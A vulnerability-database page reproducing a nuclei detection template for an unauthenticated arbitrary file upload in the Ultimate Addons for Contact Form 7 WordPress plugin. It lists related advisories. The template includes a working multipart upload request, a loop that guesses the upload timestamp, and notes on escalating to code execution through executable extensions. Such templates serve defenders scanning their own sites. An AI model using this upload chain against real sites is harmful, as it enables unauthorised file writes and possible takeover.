Lucene search
+L

Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload

🗓️ 24 Oct 2026 03:12:00Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 7 Views

Unauthenticated arbitrary file upload in Ultimate Addons for Contact Form 7 PDF Generator.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-82901
29 Sep 202609:05
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-82901
26 Sep 202621:11
–githubexploit
circl
Circl
CVE-2026-82901
26 Sep 202620:08
–circl
cve
CVE
CVE-2026-82901
26 Sep 202618:28
–cve
cvelist
Cvelist
CVE-2026-82901 Ultra Addons for Contact Form 7 <= 3.5.50 - Unauthenticated Arbitrary File Upload via Signature Form Field
26 Sep 202618:28
–cvelist
euvd
EUVD
EUVD-2026-87790
26 Sep 202618:28
–euvd
nvd
NVD
CVE-2026-82901
26 Sep 202619:16
–nvd
ptsecurity
Positive Technologies
PT-2026-99421
26 Sep 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2026-82901: Unrestricted Upload of File with Dangerous Type
26 Sep 202600:00
–rapid7
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2026-82901
21 Sep 202600:00
–vulncheck_kev
Rows per page
id: CVE-2026-82901

info:
  name: Ultimate Addons for Contact Form 7 <= 3.5.50 - Arbitrary File Upload
  author: DhiyaneshDk
  severity: high
  description: |
    Ultimate Addons for Contact Form 7 (UACF7) <= 3.5.50 copies every file submitted through a Contact Form 7 [uacf7_signature] field into wp-content/uploads/uacf7-uploads/ with no file-type or extension validation when the PDF Generator module is enabled on the form. An unauthenticated attacker can POST to the public CF7 REST feedback endpoint and write an arbitrary file of any extension into the webroot (CWE-434). The written file is directly retrievable without authentication. The copy sink is addons/pdf-generator/pdf-generator.php, which stores the file as "{time()}-{field_name}-{sanitize_file_name(basename)}". Fixed in 3.5.51, which adds uacf7_is_safe_uploaded_file() with a MIME/extension allowlist.
  impact: |
    Unauthenticated arbitrary file write into a web-accessible directory under the site origin. This enables planting attacker-controlled content (HTML/SVG leading to stored XSS, phishing pages, .htaccess where AllowOverride permits). Where the web server maps a surviving executable extension (e.g. .pht, .phar, .phtml) to the PHP handler, it escalates to remote code execution; note that Contact Form 7 core runs wpcf7_antiscript_file_name() first and rewrites php/phtml/pl/py/rb/cgi/asp/aspx uploads to a harmless *.<ext>_.txt, so a plain .php name does not execute on a default install.
  remediation: |
    Update Ultimate Addons for Contact Form 7 to 3.5.51 or later. As mitigation, disable the PDF Generator module and deny script execution and direct access in wp-content/uploads/.
  reference:
    - https://patchstack.com/database/wordpress/plugin/ultimate-addons-for-contact-form-7/vulnerability/wordpress-ultra-addons-for-contact-form-7-plugin-3-2-4-3-5-50-unauthenticated-arbitrary-file-upload-vulnerability
    - https://plugins.trac.wordpress.org/browser/ultimate-addons-for-contact-form-7/tags/3.5.48/addons/pdf-generator/pdf-generator.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82901
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.1
    cve-id: CVE-2026-82901
    epss-score: 0.01109
    epss-percentile: 0.65643
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: themefic
    product: ultimate-addons-for-contact-form-7
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ultimate-addons-for-contact-form-7/
    fofa-query: body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
  tags: cve,cve2026,wordpress,wp-plugin,file-upload,intrusive,uacf7,themefic,vkev

variables:
  marker: "{{randstr}}"
  filename: "{{rand_text_alpha(8)}}"
  sig_field: "your-signature"
  ts_guess: "0"

flow: |
  http(1);
  if (!template["form_id"]) {
    http(2);
  }
  if (!template["form_id"]) stop();
  if (!template["unit_tag"]) {
    set("unit_tag", "wpcf7-f" + template["form_id"] + "-o1");
  }
  if (!template["sig_field"]) {
    set("sig_field", "your-signature");
  }
  var ts_before = Math.floor(new Date().getTime() / 1000);
  http(3);
  var ts_after = Math.floor(new Date().getTime() / 1000);
  for (var delta = ts_after - ts_before + 5; delta >= -2; delta--) {
    set("ts_guess", String(ts_before + delta));
    if (http(4)) break;
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - "contact-forms/(\\d+)/feedback"
          - "name=[\"']_wpcf7[\"'][^>]*value=[\"'](\\d+)[\"']"
          - "id=[\"']wpcf7-f(\\d+)-"
        internal: true

      - type: regex
        name: unit_tag
        part: body
        group: 1
        regex:
          - "name=[\"']_wpcf7_unit_tag[\"'][^>]*value=[\"']([^\"']+)[\"']"
          - "id=[\"'](wpcf7-f\\d+-[a-z]?\\d*-?o\\d+)[\"']"
        internal: true

      - type: regex
        name: sig_field
        part: body
        group: 1
        regex:
          - "(?i)name=[\"']([^\"']*(?:uacf7[_-]?sign(?:ature)?)[^\"']*)[\"']"
          - "name=[\"'](your-signature)[\"']"
        internal: true

  - raw:
      - |
        GET /contact/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /contact-us/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - "contact-forms/(\\d+)/feedback"
          - "name=[\"']_wpcf7[\"'][^>]*value=[\"'](\\d+)[\"']"
          - "id=[\"']wpcf7-f(\\d+)-"
        internal: true

      - type: regex
        name: unit_tag
        part: body
        group: 1
        regex:
          - "name=[\"']_wpcf7_unit_tag[\"'][^>]*value=[\"']([^\"']+)[\"']"
          - "id=[\"'](wpcf7-f\\d+-[a-z]?\\d*-?o\\d+)[\"']"
        internal: true

      - type: regex
        name: sig_field
        part: body
        group: 1
        regex:
          - "(?i)name=[\"']([^\"']*(?:uacf7[_-]?sign(?:ature)?)[^\"']*)[\"']"
          - "name=[\"'](your-signature)[\"']"
        internal: true

  - raw:
      - |
        POST /wp-json/contact-form-7/v1/contact-forms/{{form_id}}/feedback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUACF782901x
        X-Requested-With: XMLHttpRequest
        Accept: application/json

        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="_wpcf7"

        {{form_id}}
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="_wpcf7_unit_tag"

        {{unit_tag}}
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-name"

        Nuclei
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-email"

        [email protected]
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="your-message"

        test
        ------WebKitFormBoundaryUACF782901x
        Content-Disposition: form-data; name="{{sig_field}}"; filename="{{filename}}.pht"
        Content-Type: image/png

        CVE-2026-82901-{{marker}}-UPLOAD
        ------WebKitFormBoundaryUACF782901x--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "contact_form_id")'
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-{{sig_field}}-{{filename}}.pht HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/uacf7-uploads/{{ts_guess}}-your-signature-{{filename}}.pht HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "CVE-2026-82901-" + marker + "-UPLOAD")'
          - 'status_code == 200'
        condition: and
# digest: 480a00453043022070ce1e03eac2b258f2e51c375343e9de2872aff0b7adf3b33876fa4572414e89021f02264619c3343cd7e8b30c8965b3834f25de027afb7e9718a46acbeccd8414:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Oct 2026 22:14Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
EPSS0.03717
SSVC
7